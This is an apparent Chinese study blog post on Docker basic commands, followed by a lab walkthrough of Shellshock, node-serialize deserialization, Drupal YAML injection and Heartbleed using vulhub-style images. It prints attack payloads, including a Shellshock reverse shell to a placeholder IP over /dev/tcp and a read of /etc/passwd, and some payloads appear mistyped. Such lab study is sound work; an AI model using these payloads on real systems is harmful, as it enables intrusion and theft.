Docker-基本命令和漏洞分享
最近在学习分布式系统课程的时候了解到了docker,觉得是一个很好的工具。就学习了一下
目录
- 什么是docker
- 优点
- docker 镜像
- docker容器
- docker 仓库
- 安装Docker步骤
- 使用docker 命令
- 漏洞分享
- bash_shellshock
- 利用方法
- Node.js node-serialize反序列化
- 利用方法
- 命令
- Drupal远程命令执行漏洞
- 心脏滴血
- 利用方法
什么是docker
docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器、开发者可以在笔记本上编译测试通过的容器可以批量的在生产环境中部署,包括需积极,bare metal,openStack集群和其他的基础应用平台。
优点
- 轻量级
- scale out(系统升级的一种方式)能力是物理机和虚拟机不具备的
- 作为lxc(LLinux 虚拟技术)的管理器,封装了lxc的技术细节,将容器技术的使用门槛降低了。可以快速看到产品的效果
几乎所有的系统都支持docker - ubuntu/centos/redhat/windows/mac os 都支持docker,这意味着应用程序可以直接在这些平台是哪个迁移。
docker 镜像
也就是说相当于我们装电脑系统的时候用的那个ios,docker 镜像是一个只读的模板。例如:一个镜像可以包含一个完整的ubuntu操作系统环境,里面仅仅安装了Apache或者用户需要的其他应用程序。镜像可以用来创建docker容器docker提供了一个很简单的机制来创建镜像或者更新现有的镜像,用户甚至可以直接从其他人那里下载一个已经做好的镜像来使用。
docker容器
是docker的下一级,docker是利用容器来运行应用的,容器是从镜像创建一个可以被启动、开始、停止、删除的运行实例,这里让我想到了操作系统中的进程,我们可以用容器来类比进程。但是容器包括root用户权限、进程空间用户空间和网络空间,和运行在其中的应用程序。
docker 仓库
仓库是集中存放镜像文件的场所,有时候会把仓库和仓库注册服务器(Registry)混为一谈,并不严格区分。实际上个注册服务器跟仓库是一对多的关系,仓库与镜像也是一对多的关系,每个镜像有不同的tag。如下图
仓库可以分为公开仓库和私有仓库、当用户创建了自己的镜像之后就可以使用push命令将它上传到私有仓库或者公有仓库上,当另外一台机器使用这个镜像的时候,只要从仓库上拉取下来就可以了。可供大陆用户更加稳定快速的访问,例如我们在用java框架开发的时候,需要进行maven配置(也就是jar包导入),我们可以从国外中央仓库镜像去下载,但是由于下载的速度慢,我们就可以在阿里云镜像仓库去下载,这样我们每次导入新的jar包的时候就不用等待那么久时间。这时候就jar就下载到本地仓库,下次在使用这个jar包的时候,直接可以导入,不用下载。
最大的公开仓库是Docker Hub,存放了数量庞大的镜像供用户下载。国内的公开仓库包括Docker Pool.
安装Docker步骤
CenOS 7系统的CenOS-Extras库中已经带有Docker,可以直接安装
yum install docker
安装之后启动docker服务
systemctl start docker
使用docker 命令
列出镜像
docker images
存储镜像
docker save -o centos7.tar docker.io/centos
搜索centos7的镜像
docker search centos:7
获取镜像
docker pull docker.io/centos
载入镜像
docker load --input centos7.tar
导入镜像以及相关的元数据信息(包括标签)
docker load < centos7.tar
终止运行中的容器
# 查看正在运行的容器
docker ps -a
#终止正在运行的容器
docker stop
移除本地的镜像
docker rmi --镜像号
在删除镜像之前,来删除依赖这个镜像的所有容器,就好比我们要关闭电脑,我们应该终止所有的应用进程,如果正在运行的容器,需要添加-f来强制删除
docker rm -f --容器号
docker rmi --镜像号
linux 命令下的
第一个参数container ID是容器ID,第二个参数Image是镜像,COMMAND是存放路径,CREATE是创建时间,STATUS是状态。
漏洞分享
bash_shellshock
起源于一个命令ENV,原型:
env[OPTION]…[NAME=VALUE]…[COMMAND[ARGS]…]
使用env命令的key=value.首先会改变环境变量key ,如果没有会临时创建,这里是临时改变环境变量,然后就把value后面的内容作为命令执行,类似于PHP中的eval
利用方法
1、pull docker镜像,搭建环境
docker pull medicean/vulapps:b_bash_shellshock1
2、启动镜像
docker run -p 1000:80 medicean/vulapps:b_bash_shellshock1
3、使用burp 抓包,更改User Agent
()(:;);echo ;echo $(/bin/cat/etc/passwd);
反弹shell
()(:;);/bin/bash -i>&/dev/tcp/ip地址/8888 0>&1;
kail 运行
本地监听8888端口nc -l -p 8888 -vvv
id
表明监听成功:uid=…
Node.js node-serialize反序列化
node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(为新信任数据)达到反序列化远程任意代码执行的效果,并且Node.js服务端必须存在接收序列化的数据接口
利用方法
账户随意输入,在密码处输入
_SNDFUNCSSSND_FUNCSSSNDFUNCSS$_function()(for(var start=+new Date;+new Date-start<=sleep_Time;){})(sleepTime=15000)
漏洞说明
命令
docker pull medicean/vulapps:n_nodejs_1
docker run -d -p 1010:80 medicean/vulapps:n_nodejs_1 其中的1010端口
在网址中输入
IP地址:1010出现账号密码
账号输入1 ,密码输入_SNDFUNCSSSND_FUNCSSSNDFUNCSS$_function()(for(var start=+new Date;+new Date-start<=sleep_Time;){})(sleepTime=15000)就会有睡眠时间后再跳转
Drupal远程命令执行漏洞
该漏洞是由于DrupalCore的YAML解析器在处理不安全的PHP对象句柄时,通过远程代码执行,进行高危行为操作
漏洞检测
登录Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞,否则不会存在该漏洞;
docker pull medicean/vulapps:d_drupal_1
docker run -d -p 2000:80 medicean/vulapps:d_drupal_1
登录后台访问
admin admin123
http://ip:port/admin/config/development/configuration/single/import
输入
在后台加入一段话
!php/object
“O:24"GuzzleHttp\Psr7\EnStream”.2:{s:33:\0GuzzleHttp\Psr7\FnStream\omethods}",a:1:{s:7:“phpinfo”;}s:9:"_fn_close";s:7:“phpinfo\”;}"
心脏滴血
Heartbleed OpenSSL CVE-2014-0160(心脏出血)
CVE-2014-0160 心脏滴血漏洞,是一个非常严重的OpenSSL 漏洞。这个漏洞使得攻击者可以从存在漏洞的服务器上读取64KB大小的内存信息,这些信息中可能包含非常敏感的信息,包括用户请求,密码甚至证书的私钥。据称,已经有攻击者在某宝上尝试使用漏洞读取数据,在读取了200次之后获取了40多个用户名和7个密码
下载
docker pull medicean/vulapps:o_openssl_heartbleed
启动
docker run -d -p 2020:443 medicean/vulapps:o_openssl_heartbleed
利用方法
图像化工具
在线检索http://fish.ijinshan.com/checkopenssl/check
wooyun镜像案例
兴业银行
今日头条
最后附上今天画的路飞,虽然一点都不像哈:)。
Docker-基本命令和漏洞分享相关推荐
- docker容器-实战(分享十六)
前面一节主要是熟悉docker基本操作,本分享就进行介绍一些实战案例,实战才是王道.下面就通过常用的应用进行实战介绍 一.操作系统(CentOS) docker search centos docke ...
- 公开仓库中Docker镜像的漏洞分析结果发布
Federacy的一名研究人员发布了一项报告,该报告分析了公开仓库中Docker镜像的漏洞.24%的镜像发现了明显的漏洞,其中基于Ubuntu的镜像漏洞最多,而基于Debian的镜像漏洞最少. \\ ...
- docker容器内漏洞_如何在2020年发现和修复Docker容器漏洞
docker容器内漏洞 Containerization allows engineering teams to create a sandbox environment in which to ru ...
- Docker基本命令
Docker基本命令 文章目录 Docker基本命令 基本命令 查看Docker 版本 `docker version` 查看Docker系统信息 `docker info` Docker查看帮助文档 ...
- 基于CectOS7利用docker搭建Vulhub漏洞靶机环境
基于CectOS7利用docker搭建Vulhub漏洞靶机环境 准备条件 第一步:在CentOS7上安装docker centos安装python3 安装 docker-compose docker- ...
- Docker基本命令(二)之 容器卷使用、DockerFile
目录 相关阅读 前言 容器数据卷 使用容器数据卷 挂载 查询 具名和匿名挂载 权限 使用Dockerfile实现挂载 实战:mysql挂载容器卷 实战:mysql容器间共享数据 DockerFile ...
- docker run命令_CVE-2019-14271:Docker cp命令漏洞分析
0x00 前言 在过去几年中,研究人员在各种容器平台的copy(cp)命令中发现了几个漏洞,这些平台包括Docker.Podman及Kubernetes,其中最严重的漏洞直到今年7月份才被发现和披露. ...
- linux docker漏洞,安装shadow或linux-pam的Alpine Linux Docker镜像有漏洞,附解决
只要你在 Alpine Linux 系统 Docker 镜像中安装有 shadow 或 linux-pam 软件包,那么这个镜像是有安全漏洞的,需要尽快修补,要说明的是,其他 Alpine Linux ...
- 宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...
摘要 在过去几年中,我们在各种容器平台(包括Docker.Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞.其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的.然 ...
- docker公共存储库_查找并修复docker镜像安全漏洞
容器的出现使开发团队可以创建沙盒环境,以在其中运行和测试应用程序,容器主要由从 docker hub 或其他公共镜像存储库提取的开源镜像组成. 但是这些开源镜像有时可能包含一些漏洞,这些漏洞可能会危害 ...
最新文章
- Ubantu安装maven
- 3000多种细菌大迁徙,就发生在你买菜接过钞票的一瞬间
- python 数据可视化 -- 读取数据
- android 7.0 更新apk,Android更新apk兼容7.0和8.0
- C 读写php,C语言读取文件所有内容
- 坑 之 Tensorflow安装在导入模块时会出现ImportError: DLL load failed: 找不到指定的模块的问题
- ECCV2018 Oral论文集
- 如果人类的历史共有100万年,假设这等于一天
- 电脑常用音频剪辑软件_5款好用的音频剪辑软件推荐
- vs code快捷键修改为idea快捷键
- Django_modelform组件
- 机器学习--组合分类方法之AdaBoost算法
- 和运营开会的知道的一些点
- 3.Maven实战 --- maven使用入门
- Multisim12使用记录
- 麻将牌型说明最全版(图文介绍)
- 马上金三银四了,注意下面这几点,面试通过率高达85%
- 布拉德皮特不完全档案及星路历程
- 如何在Windows环境下快速搭建Web服务器并发布网页
- H5 -- 自定义微信分享第三方页面链接的标题和小缩略图